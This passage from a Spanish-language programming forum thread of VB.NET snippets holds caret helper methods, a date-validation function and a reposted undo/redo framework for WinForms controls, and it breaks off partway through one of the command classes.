  88.    Public Shared Sub Show(ByVal ctrl As Control)
  89.        ShowCaret(ctrl.Handle)
  90.    End Sub
  91.  
  92.    ''' <summary>
  93.    ''' Set the blinking time of the caret.
  94.    ''' </summary>
  95.    ''' <param name="ms">Blink interval in Milliseconds.</param>
  96.    Public Shared Sub BlinkTime(ByVal ms As Int64)
  97.        SetCaretBlinkTime(ms)
  98.    End Sub
  99.  
  100.    ''' <summary>
  101.    ''' Set the position of the caret.
  102.    ''' </summary>
  103.    ''' <param name="x">X coordinate.</param>
  104.    ''' <param name="y">Y coordinate.</param>
  105.    Public Shared Sub Position(ByVal X As Int32, ByVal Y As Int32)
  106.        SetCaretPos(X, Y)
  107.    End Sub
  108.  
  109.    ''' <summary>
  110.    ''' Destroy the caret.
  111.    ''' </summary>
  112.    Public Shared Sub Destroy()
  113.        DestroyCaret()
  114.    End Sub
  115.  
  116.    ' Resizes a Bitmap Image
  117.    Private Shared Function Resize_Bitmap(ByVal bmp As Bitmap, ByVal Width As Int32, ByVal Height As Int32) As Bitmap
  118.        Dim Bitmap_Source As New Bitmap(bmp)
  119.        Dim Bitmap_Dest As New Bitmap(CInt(Width), CInt(Height))
  120.        Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
  121.        Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
  122.        Return Bitmap_Dest
  123.    End Function
  124.  
  125. #End Region
  126.  
  127. End Class
  128.  
  129. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Julio 2013, 21:53 pm
Validar una fecha:

Código
  1. #Region " Validate Date "
  2.  
  3.    ' [ Validate Date Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Validate_Date("29-02-2013")) ' Result: False
  10.    ' MsgBox(Validate_Date("29-02-2016")) ' Result: True
  11.    ' MsgBox(Validate_Date("01/01/2014")) ' Result: True
  12.  
  13.    Private Function Validate_Date(ByVal [Date] As String) As Boolean
  14.        Return Date.TryParse([Date], New Date)
  15.    End Function
  16.  
  17. #End Region

PD: @Novlucker, sé que es muy cortito, pero útil para quien no sepa! :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Julio 2013, 20:30 pm
Integración para deshacer/rehacer (Undo/Redo) para estos controles:

Código:
    TextBox
    ComboBox
    DateTimePicker
    NumericUpDown
    MaskedTextBox
    ListBox (single and multi-select)
    CheckBox
    RadioButton
    MonthCalendar


INSTRUCCIONES:
1. copiar las siguientes classes en el proyecto:


Código
  1. '******************************************************************************************************************
  2. ' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
  3. '******************************************************************************************************************
  4.  
  5. Public Enum UndoRedoCommandType
  6.    ctNone
  7.    ctUndo
  8.    ctRedo
  9. End Enum
  10.  
  11. Public Class UndoRedoManager
  12.  
  13. #Region "UndoRedoMonitor auto register types"
  14.  
  15.    Private Shared RegisteredUndoRedoMonitorTypes As List(Of Type) = Nothing
  16.  
  17.    ' ScanAssembly
  18.    ' The first created UndoRedoMonitor will scan the assembly for BaseUndoRedoMonitors and
  19.    ' store these types in the monitor type list.
  20.    '
  21.    Private Shared Sub ScanAssembly()
  22.        If RegisteredUndoRedoMonitorTypes Is Nothing Then
  23.            RegisteredUndoRedoMonitorTypes = New List(Of Type)
  24.            Dim AssemblyTypes() As Type = Reflection.Assembly.GetExecutingAssembly().GetTypes()
  25.            Dim BaseUndoRedoMonitorType As Type = GetType(BaseUndoRedoMonitor)
  26.            For Each typeItem As Type In AssemblyTypes
  27.                If typeItem.BaseType Is BaseUndoRedoMonitorType Then
  28.                    RegisteredUndoRedoMonitorTypes.Add(typeItem)
  29.                End If
  30.            Next
  31.        End If
  32.    End Sub
  33.  
  34. #End Region
  35.  
  36.    Private Control As Control = Nothing
  37.    Private UndoRedoMonitors As List(Of BaseUndoRedoMonitor)
  38.    Private ExcludeControls As List(Of Control)
  39.  
  40.    ' InitializeUndoRedoMonitors
  41.    ' When a new UndoRedoManager instance is created, a new instance of each registered monitor
  42.    ' is created and used only within the scope of this UndoRedoManager, preventing temporary data
  43.    ' moved to another UndoRedoManager. This is because Each form, or group control like a panel
  44.    ' to make seperate undo/redo groups on a single form, can have it's own UndoRedoManager. It is
  45.    ' of course also possible to use one global UndoRedoManager for multiple forms. This lets you
  46.    ' control how data is seperated or combined, depending on the relation between te undo/redo commands.
  47.    Private Sub InitializeUndoRedoMonitors()
  48.        ScanAssembly()
  49.        UndoRedoMonitors = New List(Of BaseUndoRedoMonitor)
  50.        For Each typeItem In RegisteredUndoRedoMonitorTypes
  51.            UndoRedoMonitors.Add(Activator.CreateInstance(typeItem, Me))
  52.        Next
  53.    End Sub
  54.  
  55.    Public Sub New()
  56.        InitializeUndoRedoMonitors()
  57.    End Sub
  58.  
  59.    Public Sub New(ByVal AControl As Control)
  60.        Me.New(AControl, New List(Of Control))
  61.    End Sub
  62.  
  63.    Public Sub New(ByVal AControl As Control, ByVal AExcludeControls As List(Of Control))
  64.        Me.New()
  65.        ExcludeControls = AExcludeControls
  66.        MonitorControl(AControl)
  67.    End Sub
  68.  
  69.    Public Sub New(ByVal AControl As Control, ByVal ParamArray AExcludeControls() As Control)
  70.        Me.New(AControl, AExcludeControls.ToList)
  71.    End Sub
  72.  
  73.    ' MonitorControl
  74.    ' If a given control is not in the list of controls to exclude from undo/redo actions,
  75.    ' an attempt is made to attach it to a matching UndoRedoMonitor. If no direct match is
  76.    ' found, a same attempt is made for each control contained within the control recursively.
  77.    Private Sub MonitorControl(ByVal AControl As Control)
  78.        If Not ExcludeControls.Contains(AControl) Then
  79.            If Not BindMonitor(AControl) Then
  80.                For Each ctl As Control In AControl.Controls
  81.                    MonitorControl(ctl)
  82.                Next
  83.            End If
  84.        End If
  85.    End Sub
  86.  
  87.    ' BindMonitor
  88.    ' An attempt is made to bind the control to a each registered monitor. When a match is  
  89.    ' found the search ends and the function will return true, false otherwise meaning there
  90.    ' is no specific UndoRedoMonitor for this control.
  91.    Private Function BindMonitor(ByVal AControl As Control) As Boolean
  92.        Dim index As Integer = UndoRedoMonitors.Count - 1, result As Boolean = False
  93.        While index >= 0 And Not result
  94.            result = UndoRedoMonitors(index).Monitor(AControl)
  95.            index -= 1
  96.        End While
  97.        Return result
  98.    End Function
  99.  
  100.    Public Sub Monitor(ByVal AControl As Control)
  101.        MonitorControl(AControl)
  102.    End Sub
  103.  
  104.    Private undoStack As Stack(Of BaseUndoRedoCommand) = New Stack(Of BaseUndoRedoCommand)
  105.    Private redoStack As Stack(Of BaseUndoRedoCommand) = New Stack(Of BaseUndoRedoCommand)
  106.    Private _undoRedoCommand As UndoRedoCommandType = UndoRedoCommandType.ctNone
  107.    Private _canUndo As Boolean = False
  108.    Private _canRedo As Boolean = False
  109.  
  110.    Public Event CanUndoChanged(ByVal Sender As Object, ByVal CanUndo As Boolean)
  111.    Public Event CanRedoChanged(ByVal Sender As Object, ByVal CanRedo As Boolean)
  112.    Public Event UndoRedoStacksChanged(ByVal Sender As Object)
  113.  
  114.    Private Sub UpdateCanUndoRedo()
  115.        Dim isCanUndoChanged As Boolean = Not (undoStack.Count > 0) = _canUndo, _
  116.            isCanRedoChanged As Boolean = Not (redoStack.Count > 0) = _canRedo
  117.        _canUndo = undoStack.Count > 0
  118.        _canRedo = redoStack.Count > 0
  119.        If isCanUndoChanged Then
  120.            RaiseEvent CanUndoChanged(Me, _canUndo)
  121.        End If
  122.        If isCanRedoChanged Then
  123.            RaiseEvent CanRedoChanged(Me, _canRedo)
  124.        End If
  125.        RaiseEvent UndoRedoStacksChanged(Me)
  126.    End Sub
  127.  
  128.    Public ReadOnly Property isUndoing() As Boolean
  129.        Get
  130.            Return _undoRedoCommand = UndoRedoCommandType.ctUndo
  131.        End Get
  132.    End Property
  133.    Public ReadOnly Property isRedoing() As Boolean
  134.        Get
  135.            Return _undoRedoCommand = UndoRedoCommandType.ctRedo
  136.        End Get
  137.    End Property
  138.    Public ReadOnly Property isPerformingUndoRedo() As Boolean
  139.        Get
  140.            Return _undoRedoCommand <> UndoRedoCommandType.ctNone
  141.        End Get
  142.    End Property
  143.  
  144.    Public ReadOnly Property CanUndo() As Boolean
  145.        Get
  146.            Return _canUndo
  147.        End Get
  148.    End Property
  149.  
  150.    Public ReadOnly Property CanRedo() As Boolean
  151.        Get
  152.            Return _canRedo
  153.        End Get
  154.    End Property
  155.  
  156.    Public Sub AddUndoCommand(ByVal UndoRedoCommand As BaseUndoRedoCommand)
  157.        If Not isUndoing Then
  158.            undoStack.Push(UndoRedoCommand)
  159.            If Not isRedoing Then
  160.                redoStack.Clear()
  161.                UpdateCanUndoRedo()
  162.            End If
  163.        End If
  164.    End Sub
  165.  
  166.    Public Sub AddRedoCommand(ByVal UndoRedoCommand As BaseUndoRedoCommand)
  167.        If Not isRedoing Then
  168.            redoStack.Push(UndoRedoCommand)
  169.            If Not isUndoing Then
  170.                UpdateCanUndoRedo()
  171.            End If
  172.        End If
  173.    End Sub
  174.  
  175.    Public Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
  176.        Select Case UndoRedoCommandType
  177.            Case UndoRedoCommandType.ctUndo
  178.                AddUndoCommand(UndoRedoCommand)
  179.            Case UndoRedoCommandType.ctRedo
  180.                AddRedoCommand(UndoRedoCommand)
  181.            Case Else
  182.                Throw New Exception("An undo or redo command could not be accepted.")
  183.        End Select
  184.    End Sub
  185.  
  186.    Public Sub Undo()
  187.        If CanUndo Then
  188.            'Try                
  189.            _undoRedoCommand = UndoRedoCommandType.ctUndo
  190.            undoStack.Pop.Undo()
  191.            'Catch e As Exception
  192.            'Finally
  193.            UpdateCanUndoRedo()
  194.            _undoRedoCommand = UndoRedoCommandType.ctNone
  195.            'End Try
  196.        End If
  197.    End Sub
  198.  
  199.    Public Sub Redo()
  200.        If CanRedo Then
  201.            _undoRedoCommand = UndoRedoCommandType.ctRedo
  202.            redoStack.Pop.Redo()
  203.            UpdateCanUndoRedo()
  204.            _undoRedoCommand = UndoRedoCommandType.ctNone
  205.        End If
  206.    End Sub
  207.  
  208.    Protected Overrides Sub Finalize()
  209.        MyBase.Finalize()
  210.    End Sub
  211.  
  212.  
  213. #Region "debug info"
  214.  
  215.    Public Shared Function ArrayToString(ByVal ObjectArray() As Object) As String
  216.        Dim sb As New System.Text.StringBuilder
  217.        For Each item As Object In ObjectArray
  218.            sb.AppendLine(item.ToString)
  219.        Next
  220.        Return sb.ToString
  221.    End Function
  222.  
  223.  
  224.    Public Function GetUndoStack() As String
  225.        Return ArrayToString(undoStack.ToArray)
  226.    End Function
  227.  
  228.    Public Function GetRedoStack() As String
  229.        Return ArrayToString(redoStack.ToArray)
  230.    End Function
  231.  
  232.    Public Function GetRegisteredUndoRedoMonitorTypes() As String
  233.        Return ArrayToString(RegisteredUndoRedoMonitorTypes.ToArray)
  234.    End Function
  235.  
  236. #End Region
  237.  
  238. End Class
  239.  

Código
  1. '******************************************************************************************************************
  2. ' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
  3. '******************************************************************************************************************
  4.  
  5. Public MustInherit Class BaseUndoRedoMonitor
  6.  
  7.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  8.        _UndoRedoManager = AUndoRedoManager
  9.    End Sub
  10.  
  11.    Private _UndoRedoManager As UndoRedoManager
  12.    Public Property UndoRedoManager() As UndoRedoManager
  13.        Get
  14.            Return _UndoRedoManager
  15.        End Get
  16.        Set(ByVal value As UndoRedoManager)
  17.            _UndoRedoManager = value
  18.        End Set
  19.    End Property
  20.  
  21.    Public ReadOnly Property isUndoing() As Boolean
  22.        Get
  23.            Return UndoRedoManager.isUndoing
  24.        End Get
  25.    End Property
  26.    Public ReadOnly Property isRedoing() As Boolean
  27.        Get
  28.            Return UndoRedoManager.isRedoing
  29.        End Get
  30.    End Property
  31.  
  32.    Public ReadOnly Property isPerformingUndoRedo() As Boolean
  33.        Get
  34.            Return UndoRedoManager.isPerformingUndoRedo
  35.        End Get
  36.    End Property
  37.  
  38.    Public Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
  39.        UndoRedoManager.AddCommand(UndoRedoCommandType, UndoRedoCommand)
  40.    End Sub
  41.  
  42.    Public MustOverride Function Monitor(ByVal AControl As Control) As Boolean
  43.  
  44. End Class
  45.  
  46. '****************************************************************************************************************
  47. ' SimpleControl
  48. ' Controls: TextBox, ComboBox, DateTimePicker, NumericUpDown, MaskedTextBox
  49. '****************************************************************************************************************
  50. Public Class SimpleControlMonitor : Inherits BaseUndoRedoMonitor
  51.  
  52.    Private Data As String
  53.  
  54.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  55.        MyBase.New(AUndoRedoManager)
  56.    End Sub
  57.  
  58.    Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
  59.        If TypeOf AControl Is TextBox Or _
  60.           TypeOf AControl Is ComboBox Or _
  61.           TypeOf AControl Is DateTimePicker Or _
  62.           TypeOf AControl Is NumericUpDown Or _
  63.           TypeOf AControl Is ListView Or _
  64.           TypeOf AControl Is MaskedTextBox Then
  65.            AddHandler AControl.Enter, AddressOf Control_Enter
  66.            AddHandler AControl.Leave, AddressOf Control_Leave
  67.            Return True
  68.        End If
  69.        Return False
  70.    End Function
  71.  
  72.    Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
  73.        Data = CType(sender, Control).Text
  74.    End Sub
  75.  
  76.    Private Sub Control_Leave(ByVal sender As System.Object, ByVal e As System.EventArgs)
  77.        Dim CurrentData As String = CType(sender, Control).Text
  78.        If Not String.Equals(CurrentData, Data) Then
  79.            AddCommand(UndoRedoCommandType.ctUndo, New SimpleControlUndoRedoCommand(Me, sender, Data))
  80.        End If
  81.    End Sub
  82. End Class
  83.  
  84. '****************************************************************************************************************
  85. ' ListBox
  86. '****************************************************************************************************************
  87. Public Class ListBoxMonitor : Inherits BaseUndoRedoMonitor
  88.  
  89.    Private Data As Object
  90.  
  91.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  92.        MyBase.New(AUndoRedoManager)
  93.    End Sub
  94.  
  95.    Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
  96.        If TypeOf AControl Is ListBox Then
  97.            AddHandler AControl.Enter, AddressOf Control_Enter
  98.            AddHandler CType(AControl, ListBox).SelectedIndexChanged, AddressOf Control_Changed
  99.            Return True
  100.        End If
  101.        Return False
  102.    End Function
  103.  
  104.    Public Function GetSelected(ByVal AListBox As Object) As String
  105.        Dim Indices As List(Of String) = New List(Of String)
  106.        For Each itemIndex As Integer In CType(AListBox, ListBox).SelectedIndices
  107.            Indices.Add(CStr(itemIndex + 1))
  108.        Next
  109.        Return String.Join(",", Indices.ToArray)
  110.    End Function
  111.  
  112.    Public Sub RestoreSelected(ByVal AListBox As Object, ByVal ASelection As String)
  113.        If Not String.IsNullOrEmpty(ASelection) Then
  114.            Dim Indices As List(Of Integer) = New List(Of Integer)(Array.ConvertAll(ASelection.Split(","), New Converter(Of String, Integer)(AddressOf Integer.Parse)))
  115.            Dim Control As ListBox = CType(AListBox, ListBox)
  116.            Select Case Control.SelectionMode
  117.                Case SelectionMode.None
  118.                Case SelectionMode.One
  119.                    Control.SetSelected(Indices(0) - 1, True)
  120.                Case SelectionMode.MultiSimple, SelectionMode.MultiExtended
  121.                    For index As Integer = 0 To Control.Items.Count - 1
  122.                        Control.SetSelected(index, Indices.IndexOf(index + 1) >= 0)
  123.                    Next
  124.            End Select
  125.        Else
  126.            CType(AListBox, ListBox).ClearSelected()
  127.        End If
  128.    End Sub
  129.  
  130.    Private Sub Control_Changed(ByVal sender As System.Object, ByVal e As System.EventArgs)
  131.        ' Events that are also fired when the undo/redo value is changed by code, like change events,
  132.        ' it is important to make sure that no undo/redo command is added when performing a undo/redo action.
  133.        If Not isPerformingUndoRedo Then
  134.            Dim CurrentData As String = GetSelected(sender)
  135.            If Not String.Equals(Data, CurrentData) Then
  136.                AddCommand(UndoRedoCommandType.ctUndo, New ListBoxUndoRedoCommand(Me, sender, Data))
  137.                Data = CurrentData
  138.            End If
  139.        End If
  140.    End Sub
  141.  
  142.    Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
  143.        Data = GetSelected(sender)
  144.    End Sub
  145.  
  146. End Class
  147.  
  148.  
  149. '****************************************************************************************************************
  150. ' CheckBox
  151. '****************************************************************************************************************
  152. Public Class CheckBoxMonitor : Inherits BaseUndoRedoMonitor
  153.    Private Data As CheckState
  154.  
  155.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  156.        MyBase.New(AUndoRedoManager)
  157.    End Sub
  158.  
  159.    Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
  160.        If TypeOf AControl Is CheckBox Then
  161.            AddHandler AControl.Enter, AddressOf Control_Enter
  162.            AddHandler AControl.Leave, AddressOf Control_Leave
  163.            Return True
  164.        End If
  165.        Return False
  166.    End Function
  167.  
  168.    Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
  169.        Data = CType(sender, CheckBox).CheckState
  170.    End Sub
  171.  
  172.    Private Sub Control_Leave(ByVal sender As System.Object, ByVal e As System.EventArgs)
  173.        Dim CurrentData As CheckState = CType(sender, CheckBox).CheckState
  174.        If Data <> CurrentData Then
  175.            AddCommand(UndoRedoCommandType.ctUndo, New CheckBoxUndoRedoCommand(Me, sender, Data))
  176.        End If
  177.    End Sub
  178. End Class
  179.  
  180. '****************************************************************************************************************
  181. ' RadioButton
  182. '****************************************************************************************************************
  183. Public Class RadioButtonMonitor : Inherits BaseUndoRedoMonitor
  184.    Private Data As RadioButton
  185.  
  186.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  187.        MyBase.New(AUndoRedoManager)
  188.    End Sub
  189.  
  190.    Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
  191.        If TypeOf AControl Is RadioButton Then
  192.            AddHandler CType(AControl, RadioButton).CheckedChanged, AddressOf Control_CheckedChanged
  193.            Return True
  194.        End If
  195.        Return False
  196.    End Function
  197.  
  198.    Private Sub Control_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
  199.        ' Events that are also fired when the undo/redo value is changed by code, like change events,
  200.        ' it is important to make sure that no undo/redo command is added when performing a undo/redo action.  
  201.        If Not isPerformingUndoRedo Then
  202.            If CType(sender, RadioButton).Checked Then
  203.                AddCommand(UndoRedoCommandType.ctUndo, New RadioButtonUndoRedoCommand(Me, sender, Data))
  204.            Else
  205.                Data = sender
  206.            End If
  207.        End If
  208.    End Sub
  209. End Class
  210.  
  211. '****************************************************************************************************************
  212. ' MonthCalendar
  213. '****************************************************************************************************************
  214. Public Class MonthCalendarMonitor : Inherits BaseUndoRedoMonitor
  215.    Private Data As SelectionRange
  216.  
  217.    Public Sub New(ByVal AUndoRedoManager As UndoRedoManager)
  218.        MyBase.New(AUndoRedoManager)
  219.    End Sub
  220.  
  221.    Public Overrides Function Monitor(ByVal AControl As System.Windows.Forms.Control) As Boolean
  222.        If TypeOf AControl Is MonthCalendar Then
  223.            AddHandler AControl.Enter, AddressOf Control_Enter
  224.            AddHandler CType(AControl, MonthCalendar).DateSelected, AddressOf Control_DateSelected
  225.            Return True
  226.        End If
  227.        Return False
  228.    End Function
  229.  
  230.    Private Sub Control_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs)
  231.        Data = CType(sender, MonthCalendar).SelectionRange
  232.    End Sub
  233.  
  234.    Private Sub Control_DateSelected(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DateRangeEventArgs)
  235.        ' Events that are also fired when the undo/redo value is changed by code, like selected events,
  236.        ' it is important to make sure that no undo/redo command is added when performing a undo/redo action.
  237.        If Not isPerformingUndoRedo Then
  238.            Dim CurrentData As SelectionRange = CType(sender, MonthCalendar).SelectionRange
  239.            If Not SelectionRange.Equals(Data, CurrentData) Then
  240.                AddCommand(UndoRedoCommandType.ctUndo, New MonthCalendarUndoRedoCommand(Me, sender, Data))
  241.                Data = CurrentData
  242.            End If
  243.        End If
  244.    End Sub
  245.  
  246. End Class

Código
  1. '******************************************************************************************************************
  2. ' Undo/Redo framework (c) Copyright 2009 Etienne Nijboer
  3. '******************************************************************************************************************
  4.  
  5. Public MustInherit Class BaseUndoRedoCommand
  6.  
  7.    Private _UndoRedoMonitor As BaseUndoRedoMonitor
  8.    Private _UndoRedoControl As Control
  9.    Private _UndoRedoData As Object
  10.  
  11.    Public ReadOnly Property UndoRedoMonitor() As BaseUndoRedoMonitor
  12.        Get
  13.            Return _UndoRedoMonitor
  14.        End Get
  15.    End Property
  16.  
  17.    Public ReadOnly Property UndoRedoControl() As Control
  18.        Get
  19.            Return _UndoRedoControl
  20.        End Get
  21.    End Property
  22.  
  23.    Protected Property UndoRedoData() As Object
  24.        Get
  25.            Return _UndoRedoData
  26.        End Get
  27.        Set(ByVal value As Object)
  28.            _UndoRedoData = value
  29.        End Set
  30.    End Property
  31.  
  32.    Protected Sub New()
  33.        Throw New Exception("Cannot create instance with the default constructor.")
  34.    End Sub
  35.  
  36.    Public Sub New(ByVal AUndoRedoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  37.        Me.New(AUndoRedoMonitor, AMonitorControl, Nothing)
  38.    End Sub
  39.  
  40.    Public Sub New(ByVal AUndoRedoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Object)
  41.        _UndoRedoMonitor = AUndoRedoMonitor
  42.        _UndoRedoControl = AMonitorControl
  43.        _UndoRedoData = AUndoRedoData
  44.    End Sub
  45.  
  46.    Protected Sub AddCommand(ByVal UndoRedoCommandType As UndoRedoCommandType, ByVal UndoRedoCommand As BaseUndoRedoCommand)
  47.        UndoRedoMonitor.AddCommand(UndoRedoCommandType, UndoRedoCommand)
  48.    End Sub
  49.  
  50.    Public Overridable Sub Undo()
  51.        AddCommand(UndoRedoCommandType.ctRedo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl))
  52.    End Sub
  53.  
  54.    Public Overridable Sub Redo()
  55.        AddCommand(UndoRedoCommandType.ctUndo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl))
  56.    End Sub
  57.  
  58.    Public Overridable Sub Undo(ByVal RedoData As Object)
  59.        AddCommand(UndoRedoCommandType.ctRedo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl, RedoData))
  60.    End Sub
  61.  
  62.    Public Overridable Sub Redo(ByVal UndoData As Object)
  63.        AddCommand(UndoRedoCommandType.ctUndo, Activator.CreateInstance(Me.GetType, UndoRedoMonitor, UndoRedoControl, UndoData))
  64.    End Sub
  65.  
  66.    Public MustOverride Function CommandAsText() As String
  67.  
  68.    Public Overrides Function ToString() As String
  69.        Return CommandAsText()
  70.    End Function
  71.  
  72. End Class
  73.  
  74. '****************************************************************************************************************
  75. ' SimpleControl
  76. ' Controls: TextBox, ComboBox, DateTimePicker, NumericUpDown, MaskedTextBox
  77. '****************************************************************************************************************
  78. Public Class SimpleControlUndoRedoCommand : Inherits BaseUndoRedoCommand
  79.  
  80.    Protected ReadOnly Property UndoRedoText() As String
  81.        Get
  82.            Return CStr(UndoRedoData)
  83.        End Get
  84.    End Property
  85.  
  86.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  87.        MyBase.New(AUndoMonitor, AMonitorControl)
  88.        UndoRedoData = UndoRedoControl.Text
  89.    End Sub
  90.  
  91.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As String)
  92.        MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
  93.    End Sub
  94.  
  95.    Public Overrides Sub Undo()
  96.        MyBase.Undo()
  97.        UndoRedoControl.Text = UndoRedoText
  98.    End Sub
  99.  
  100.    Public Overrides Sub Redo()
  101.        MyBase.Redo()
  102.        UndoRedoControl.Text = UndoRedoText
  103.    End Sub
  104.  
  105.    Public Overrides Function CommandAsText() As String
  106.        Return String.Format("Change to '{0}'", UndoRedoText)
  107.    End Function
  108.  
  109. End Class
  110.  
  111. '****************************************************************************************************************
  112. ' ListBox
  113. '****************************************************************************************************************
  114. Public Class ListBoxUndoRedoCommand : Inherits BaseUndoRedoCommand
  115.  
  116.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  117.        MyBase.New(AUndoMonitor, AMonitorControl)
  118.        UndoRedoData = GetSelection()
  119.    End Sub
  120.  
  121.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Object)
  122.        MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
  123.    End Sub
  124.  
  125.    Public ReadOnly Property Control() As ListBox
  126.        Get
  127.            Return CType(UndoRedoControl, ListBox)
  128.        End Get
  129.    End Property
  130.  
  131.    Private Sub RestoreSelection()
  132.        CType(UndoRedoMonitor, ListBoxMonitor).RestoreSelected(UndoRedoControl, CStr(UndoRedoData))
  133.    End Sub
  134.  
  135.    Private Function GetSelection() As Object
  136.        Return CType(UndoRedoMonitor, ListBoxMonitor).GetSelected(UndoRedoControl)
  137.    End Function
  138.  
  139.    Public Overrides Sub Undo()
  140.        MyBase.Undo()
  141.        RestoreSelection()
  142.    End Sub
  143.  
  144.    Public Overrides Sub Redo()
  145.        MyBase.Redo()
  146.        RestoreSelection()
  147.    End Sub
  148.  
  149.    Public Overrides Function CommandAsText() As String
  150.        Return String.Format("Select {0}", CStr(UndoRedoData))
  151.    End Function
  152. End Class
  153.  
  154.  
  155. '****************************************************************************************************************
  156. ' CheckBox
  157. '****************************************************************************************************************
  158. Public Class CheckBoxUndoRedoCommand : Inherits BaseUndoRedoCommand
  159.  
  160.    Protected ReadOnly Property UndoRedoCheckState() As CheckState
  161.        Get
  162.            Return CType(UndoRedoData, CheckState)
  163.        End Get
  164.    End Property
  165.  
  166.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  167.        MyBase.New(AUndoMonitor, AMonitorControl)
  168.        UndoRedoData = Control.CheckState
  169.    End Sub
  170.  
  171.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As String)
  172.        MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
  173.    End Sub
  174.  
  175.    Public ReadOnly Property Control() As CheckBox
  176.        Get
  177.            Return CType(UndoRedoControl, CheckBox)
  178.        End Get
  179.    End Property
  180.  
  181.    Public Overrides Sub Undo()
  182.        MyBase.Undo()
  183.        Control.CheckState = UndoRedoCheckState
  184.    End Sub
  185.  
  186.    Public Overrides Sub Redo()
  187.        MyBase.Redo()
  188.        Control.CheckState = UndoRedoCheckState
  189.    End Sub
  190.  
  191.    Public Overrides Function CommandAsText() As String
  192.        Return String.Format("Change to '{0}'", UndoRedoCheckState.ToString)
  193.    End Function
  194.  
  195. End Class
  196.  
  197. '****************************************************************************************************************
  198. ' RadioButton
  199. '****************************************************************************************************************
  200. Public Class RadioButtonUndoRedoCommand : Inherits BaseUndoRedoCommand
  201.  
  202.    Protected ReadOnly Property UndoRedoRadioButton() As RadioButton
  203.        Get
  204.            Return CType(UndoRedoData, RadioButton)
  205.        End Get
  206.    End Property
  207.  
  208.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  209.        MyBase.New(AUndoMonitor, AMonitorControl)
  210.        UndoRedoData = Control.Checked
  211.    End Sub
  212.  
  213.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Control)
  214.        MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
  215.    End Sub
  216.  
  217.    Public ReadOnly Property Control() As RadioButton
  218.        Get
  219.            Return CType(UndoRedoControl, RadioButton)
  220.        End Get
  221.    End Property
  222.  
  223.    Public Overrides Sub Undo()
  224.        MyBase.Undo(UndoRedoRadioButton)
  225.        Control.Checked = False
  226.        If UndoRedoRadioButton IsNot Nothing Then
  227.            UndoRedoRadioButton.Checked = True
  228.        End If
  229.    End Sub
  230.  
  231.    Public Overrides Sub Redo()
  232.        MyBase.Redo(UndoRedoRadioButton)
  233.        If UndoRedoRadioButton IsNot Nothing Then
  234.            UndoRedoRadioButton.Checked = False
  235.        End If
  236.        Control.Checked = True
  237.    End Sub
  238.  
  239.    Public Overrides Function CommandAsText() As String
  240.        If UndoRedoRadioButton IsNot Nothing Then
  241.            Return String.Format("Invert '{0}'/'{1}'", Control.Text, UndoRedoRadioButton.Text)
  242.        Else
  243.            Return String.Format("Change '{0}'", Control.Text)
  244.        End If
  245.    End Function
  246.  
  247. End Class
  248.  
  249.  
  250. '****************************************************************************************************************
  251. ' MonthCalendar
  252. '****************************************************************************************************************
  253. Public Class MonthCalendarUndoRedoCommand : Inherits BaseUndoRedoCommand
  254.  
  255.    Protected ReadOnly Property UndoRedoSelectionRange() As SelectionRange
  256.        Get
  257.            Return CType(UndoRedoData, SelectionRange)
  258.        End Get
  259.    End Property
  260.  
  261.    Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
  262.        MyBase.New(AUndoMonitor, AMonitorControl)
